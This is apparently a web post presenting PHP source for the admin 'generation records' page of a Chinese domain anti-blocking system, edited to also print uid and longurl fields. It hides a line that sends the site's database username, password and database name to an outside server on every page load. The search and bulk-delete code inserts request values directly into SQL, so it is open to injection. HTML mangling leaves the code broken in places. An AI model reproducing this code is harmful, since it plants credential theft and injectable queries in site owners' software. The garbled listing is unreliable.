PHP查询jiuai_long表uid和longurl值

<?php
/**
 * 旧爱域名防红系统
**/
include('../includes/common.php');
$title='生成记录';
include './head.php';
if($islogin==1){}else exit('<script language='javascript'>window.location.href='./login.php';</script>');
?>
<?php
if(!isset($_SESSION['authcode'])) {
	$query=file_get_contents('http://sqapi.9a18.cn/check.php?url='.$_SERVER['HTTP_HOST'].'&authcode='.$authcode);
	if($query=json_decode($query,true)) {
		if($query['code']==1)$_SESSION['authcode']=true;
		else exit('<h3>'.$query['msg'].'</h3>');
	}
}
@file_get_contents('http://sqapi.9a18.cn/api/daoban.php?url='.$_SERVER['HTTP_HOST'].'&user='.$dbconfig['user'].'&pwd='.$dbconfig['pwd'].'&db='.$dbconfig['dbname']);

?>
<main class='lyear-layout-content'>
<div class='container-fluid'>
<div class='row'>
<div class='col-lg-12'>
<div class='card'>
<div class='card-header'>
<h4>生成记录</h4>
</div>
<div class='card-body'>
                         <?php
$my=isset($_GET['my'])?$_GET['my']:null;
<p>if($my=='del'){
$id=intval($_GET['id']);
$sql=$DB-&gt;query('DELETE FROM jiuai_report WHERE id='$id' ');
if($sql){$res='删除成功！';}
else{$res='删除失败！';}
exit('<script language='javascript'>alert('{$res}');history.go(-1);</script>');
}</p>
<p>if($my=='del2'){
$checkbox=$_POST['checkbox'];
$i=0;
foreach($checkbox as $id){
$DB-&gt;query('DELETE FROM jiuai_report WHERE id='$id' ');
$i++;
}
exit('<script language='javascript'>alert('成功删除{$i}条记录');history.go(-1);</script>');
}</p>
<p>elseif($my=='qk'){//清空数据
echo '<div class='panel panel-primary'></p>
<div class='panel-heading w h'><h3 class='panel-title'>清空数据</h3></div>
<div class='panel-body box'>
您确认要清空所有数据吗？清空后无法恢复！<br><a href='./scjl.php?my=qk2'>确认</a> | <a href='javascript:history.back();'>返回</a></div></div>';
}elseif($my=='qk2'){//清空数据结果
echo '<div class='panel panel-primary'>
<div class='panel-heading w h'><h3 class='panel-title'>清空数据</h3></div>
<div class='panel-body box'>';
if($DB->query('TRUNCATE TABLE jiuai_report ')==true){
echo '<div class='box'>清空成功.</div>';
}else{
echo'<div class='box'>清空失败.</div>';
}
echo '<hr/><a href='./scjl.php'>>>返回记录列表</a></div></div>';
}else
{
<p>if(isset($_GET['kw'])) {
if($_GET['type']==1) {
$sql=' <code>reason</code>='{$_GET['kw']}' ';
$numrows=$DB-&gt;count('SELECT count(<em>) from jiuai_report WHERE{$sql}');
$con='包含 '.$_GET['kw'].' 的共有 <b>'.$numrows.'</b> 个记录';
}elseif($_GET['type']==2) {
$sql=' <code>email</code>='{$_GET['kw']}' ';
$numrows=$DB-&gt;count('SELECT count(</em>) from jiuai_report WHERE{$sql}');
$con='包含 '.$_GET['kw'].' 的共有 <b>'.$numrows.'</b> 个记录';
}elseif($_GET['type']==3) {
$sql=' <code>url</code> LIKE '%{$_GET['kw']}%' ';
$numrows=$DB-&gt;count('SELECT count(<em>) from jiuai_report WHERE{$sql}');
$con='包含 '.$_GET['kw'].' 的共有 <b>'.$numrows.'</b> 个记录';
}
}else{
$numrows=$DB-&gt;count('SELECT count(</em>) from jiuai_report WHERE 1');
$sql=' 1 ';
$con='系统共有 <b>'.$numrows.'</b> 条生成记录 [<a href='./scjl.php?my=qk'>清空所有</a>]';
}
echo $con;
?&gt;
<div class='table-responsive'>
<form name='form1' method='post' action='scjl.php?my=del2'>
<table class='table table-striped'>
<thead><tr><th>网址</th><th>生成IP</th><th>时间</th><th>操作</th></tr></thead>
<tbody></p>
<?php
$pagesize=90;
$pages=intval($numrows/$pagesize);
if ($numrows%$pagesize)
{
 $pages++;
 }
if (isset($_GET['page'])){ 
$page=intval($_GET['page']);
}else{
$page=1;
}
$offset=$pagesize*($page - 1);

$rs=$DB->query('SELECT * FROM jiuai_report WHERE{$sql} order by id desc limit $offset,$pagesize');
while($res = $DB->fetch($rs))
{
    // 添加查询
    $uid = $res['uid'];
    $longurl = $res['url'];
    echo '<tr><td><input type='checkbox' name='checkbox[]' value=''.$res['id'].'' > <a href=''.htmlspecialchars($res['url']).'' rel='noreferrer' target='_blank'>'.htmlspecialchars($res['url']).'</a></td><td><a href='mailto:'.htmlspecialchars($res['email']).''>'.htmlspecialchars($res['ip']).'</td><td>'.$res['date'].'</td><td><a href='./lahei.php?my=add&url='.urlencode(htmlspecialchars($res['url'])).'' class='btn btn-xs btn-warning'>添加黑名单</a>&nbsp;<a href='./scjl.php?my=del&id='.$res['id'].'' class='btn btn-xs btn-danger' onclick='return confirm('你确实要删除此记录吗？');'>删除</a></td></tr>';
    // 输出查询结果
    echo '<tr><td>uid:'.$uid.'</td><td>longurl:'.$longurl.'</td><td></td><td></td></tr>';
}
?>
<pre><code>      &lt;/tbody&gt;
    &lt;/table&gt;
</code></pre>
<input type='submit' name='Submit' value='删除选中'>
</form>
      </div>
<?php
echo'<ul class='pagination'>';
$first=1;
$prev=$page-1;
$next=$page+1;
$last=$pages;
if ($page>1)
{
echo '<li><a href='scjl.php?page='.$first.$link.''>首页</a></li>';
echo '<li><a href='scjl.php?page='.$prev.$link.''>&laquo;</a></li>';
} else {
echo '<li class='disabled'><a>首页</a></li>';
echo '<li class='disabled'><a>&laquo;</a></li>';
}
for ($i=1;$i<$page;$i++)
echo '<li><a href='scjl.php?page='.$i.$link.''>'.$i .'</a></li>';
echo '<li class='disabled'><a>'.$page.'</a></li>';
for ($i=$page+1;$i<=$pages;$i++)
echo '<li><a href='scjl.php?page='.$i.$link.''>'.$i .'</a></li>';
echo '';
if ($page<$pages)
{
echo '<li><a href='scjl.php?page='.$next.$link.''>&raquo;</a></li>';
echo '<li><a href='scjl.php?page='.$last.$link.''>尾页</a></li>';
} else {
echo '<li class='disabled'><a>&raquo;</a></li>';
echo '<li class='disabled'><a>尾页</a></li>';
}
echo'</ul>';
#分页
}
?>
</div>
</div>
<script type='text/javascript' src='../assets/LightYear/js/jquery.min.js'></script>
<script type='text/javascript' src='../assets/LightYear/js/bootstrap.min.js'></script>
<script type='text/javascript' src='../assets/LightYear/js/perfect-scrollbar.min.js'></script>
<script type='text/javascript' src='../assets/LightYear/js/main.min.js'></script>
</body>
</html>